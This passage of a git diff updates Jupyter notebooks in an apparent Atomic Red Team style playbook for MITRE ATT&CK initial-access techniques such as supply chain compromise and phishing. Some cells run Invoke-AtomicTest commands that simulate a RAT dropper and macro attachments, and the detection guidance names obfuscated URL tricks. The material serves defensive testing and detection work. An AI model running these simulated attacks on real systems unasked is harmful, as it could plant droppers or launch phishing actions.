to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. " }, { "cell_type": "markdown", - "id": "1628f2b1", + "id": "bc17587e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "193ffab9", + "id": "7c44ad28", "metadata": {}, "source": "## Detection\nUse verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1195.002.ipynb b/playbook/tactics/initial-access/T1195.002.ipynb index f02107b3..99f3a62c 100644 --- a/playbook/tactics/initial-access/T1195.002.ipynb +++ b/playbook/tactics/initial-access/T1195.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "41d2d7c5", + "id": "805a58ff", "metadata": {}, "source": "# T1195.002 - Compromise Software Supply Chain\nAdversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) " }, { "cell_type": "markdown", - "id": "426e0044", + "id": "baa9fdf1", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "96b3c8ff", + "id": "7bbc30c3", "metadata": {}, "source": "## Detection\nUse verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1195.003.ipynb b/playbook/tactics/initial-access/T1195.003.ipynb index 574c255f..b453df21 100644 --- a/playbook/tactics/initial-access/T1195.003.ipynb +++ b/playbook/tactics/initial-access/T1195.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f4bb4872", + "id": "e009d9a2", "metadata": {}, "source": "# T1195.003 - Compromise Hardware Supply Chain\nAdversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals." }, { "cell_type": "markdown", - "id": "fd5be865", + "id": "4a00af82", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "da2f2526", + "id": "b0b95f2c", "metadata": {}, "source": "## Detection\nPerform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1195.ipynb b/playbook/tactics/initial-access/T1195.ipynb index 7afefd9e..be88cd13 100644 --- a/playbook/tactics/initial-access/T1195.ipynb +++ b/playbook/tactics/initial-access/T1195.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "5dcdd8c4", + "id": "88c21818", "metadata": {}, "source": "# T1195 - Supply Chain Compromise\nAdversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)" }, { "cell_type": "markdown", - "id": "b644c0a2", + "id": "731eaf99", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5755ca86", + "id": "c3e7de68", "metadata": {}, "source": "### Atomic Test #1 - Octopus Scanner Malware Open Source Supply Chain\nThis test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db\n[octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)\n[the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: ExplorerSync.db must exist on disk at specified location (#{rat_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path $env:TEMP\\ExplorerSync.db) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nOut-File -FilePath \"$env:TEMP\\ExplorerSync.db\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "98a58d09", + "id": "416db9a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1195 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4d6f8a00", + "id": "f7af550f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,34 +38,34 @@ { "cell_type": "code", "execution_count": null, - "id": "39102133", + "id": "7d5f2e72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1195 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "668f2e2b", + "id": "665ab033", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /delete /tn ExplorerSync /F 2>null\ndel %temp%\\..\\Microsoft\\ExplorerSync.db 2>null\ndel %temp%\\ExplorerSync.db 2>null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b3588cd4", + "id": "e655a9b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1195 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4e23dbef", + "id": "4f1e043d", "metadata": {}, "source": "## Detection\nUse verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering." }, { "cell_type": "markdown", - "id": "399d5ae4", + "id": "7b0602d8", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Network \n Create a target network with a set of target systems, for the purpose of active defense.\n \n\n Decoy networks are comprised of multiple computing resources that can be used for defensive or deceptive purposes. A decoy network can be used to safely perform dynamic analysis of suspected malicious code. A defender can also use a specially crafted decoy network to perform adversary engagement. \n#### Opportunity\nHardware and/or software additions can be tested and verified in controlled environments prior to deployment.\n#### Use Case\nA defender can install any suspect hardware or software on an isolated system or network and monitor for non-standard behaviors.\n#### Procedures\nCreate an isolated network populated with decoy systems that can be used to study an adversary's tactics, techniques, and procedures (TTPs).\nUse a segregated network to visit a compromised site. If the machine becomes infected, allow the machine to remain on with internet access to see if an adversary engages and takes action on the system.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1199.ipynb b/playbook/tactics/initial-access/T1199.ipynb index ded09a01..cddda62f 100644 --- a/playbook/tactics/initial-access/T1199.ipynb +++ b/playbook/tactics/initial-access/T1199.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "28eb0358", + "id": "139aa711", "metadata": {}, "source": "# T1199 - Trusted Relationship\nAdversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)" }, { "cell_type": "markdown", - "id": "719a3db8", + "id": "b205e230", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d869f3eb", + "id": "008c0911", "metadata": {}, "source": "## Detection\nEstablish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion." }, { "cell_type": "markdown", - "id": "f09fc923", + "id": "b1e69a7b", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nWhen authorized behavior is defined and limited for trusted partners, adversaries exploiting trust relationships are easier to detect.\n#### Use Case\nDefenders can monitor trusted partner access, detecting unauthorized activity.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1200.ipynb b/playbook/tactics/initial-access/T1200.ipynb index 1998d5ca..d8d72a7b 100644 --- a/playbook/tactics/initial-access/T1200.ipynb +++ b/playbook/tactics/initial-access/T1200.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "566310a3", + "id": "715dabfb", "metadata": {}, "source": "# T1200 - Hardware Additions\nAdversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)" }, { "cell_type": "markdown", - "id": "bcd0d42c", + "id": "fe3e59fe", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "be8d1e00", + "id": "b3cf7df8", "metadata": {}, "source": "## Detection\nAsset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports." }, { "cell_type": "markdown", - "id": "f70a2127", + "id": "748c98a7", "metadata": {}, "source": "\n## Shield Active Defense\n### Isolation \n Configure devices, systems, networks, etc. to contain activity and data in order to promote inspection or prevent expanding an engagement beyond desired limits. \n\n Using isolation, a defender can prevent potentially malicious activity before it starts or limit its effectiveness and scope. A defender can observe behaviors of adversaries or their tools without exposing them to unintended targets.\n#### Opportunity\nThere is an opportunity to test hardware additions in an isolated environment and ensure they can't be used by an adversary.\n#### Use Case\nA defender can install any suspect hardware on an isolated system and monitor for non-standard behaviors.\n#### Procedures\nUnplug an infected system from the network and disable any other means of communication.\nRun all user applications in isolated containers to prevent a compromise from expanding beyond the container's boundaries.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1566.001.ipynb b/playbook/tactics/initial-access/T1566.001.ipynb index 074b79a9..afda71a6 100644 --- a/playbook/tactics/initial-access/T1566.001.ipynb +++ b/playbook/tactics/initial-access/T1566.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "349845b3", + "id": "5df1587e", "metadata": {}, "source": "# T1566.001 - Spearphishing Attachment\nAdversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. " }, { "cell_type": "markdown", - "id": "792cacc7", + "id": "61e3a5be", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ae8af0d4", + "id": "9bba8dd9", "metadata": {}, "source": [ "### Atomic Test #1 - Download Macro-Enabled Phishing Attachment", @@ -27,42 +27,42 @@ { "cell_type": "code", "execution_count": null, - "id": "bee88cdc", + "id": "e25816a2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1566.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3b5a60c4", + "id": "31e94816", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\PhishingAttachment.xlsm -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9061e4e2", + "id": "20902cd2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1566.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6925a43c", + "id": "9c807eca", "metadata": {}, "source": "### Atomic Test #2 - Word spawned a command shell and used an IP address in the command line\nWord spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.\nUpon execution, CMD will be launched and ping 8.8.8.8.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "31847668", + "id": "4151ecc2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1566.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "267ab6cd", + "id": "357ec2c2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -72,28 +72,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d1a2601d", + "id": "bd497f23", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1566.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bff3fc34", + "id": "8844a70f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item C:\\Users\\Public\\art.jse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "17d6e206", + "id": "07ef95fc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1566.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "230e9047", + "id": "def03a68", "metadata": {}, "source": "## Detection\nNetwork intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)" } @@ -101,13 +101,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1566.002.ipynb b/playbook/tactics/initial-access/T1566.002.ipynb index fc739d5f..ee4ce3f9 100644 --- a/playbook/tactics/initial-access/T1566.002.ipynb +++ b/playbook/tactics/initial-access/T1566.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ba5dd4fe", + "id": "8b6ab5dc", "metadata": {}, - "source": "# T1566.002 - Spearphishing Link\nAdversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)" + "source": "# T1566.002 - Spearphishing Link\nAdversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)" }, { "cell_type": "markdown", - "id": "5346d586", + "id": "5d425c35", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "3938ce6f", + "id": "d5bea3f3", "metadata": {}, "source": "## Detection\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1566.003.ipynb b/playbook/tactics/initial-access/T1566.003.ipynb index 3a340fba..fa873a93 100644 --- a/playbook/tactics/initial-access/T1566.003.ipynb +++ b/playbook/tactics/initial-access/T1566.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bf5b7bc8", + "id": "2f2b3ebc", "metadata": {}, "source": "# T1566.003 - Spearphishing via Service\nAdversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working." }, { "cell_type": "markdown", - "id": "305e37fb", + "id": "e126c364", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "355cb277", + "id": "278d213a", "metadata": {}, "source": "## Detection\nBecause most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1566.004.ipynb b/playbook/tactics/initial-access/T1566.004.ipynb new file mode 100644 index 00000000..fa3c267d --- /dev/null +++ b/playbook/tactics/initial-access/T1566.004.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "6da9fd4c", + "metadata": {}, + "source": "# T1566.004 - Spearphishing Voice\nAdversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Software](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)" + }, + { + "cell_type": "markdown", + "id": "60079852", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/initial-access/T1566.ipynb b/playbook/tactics/initial-access/T1566.ipynb index 466b49eb..4fa3eed6 100644 --- a/playbook/tactics/initial-access/T1566.ipynb +++ b/playbook/tactics/initial-access/T1566.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d0f3867c", + "id": "79d85989", "metadata": {}, - "source": "# T1566 - Phishing\nAdversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source." + "source": "# T1566 - Phishing\nAdversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install 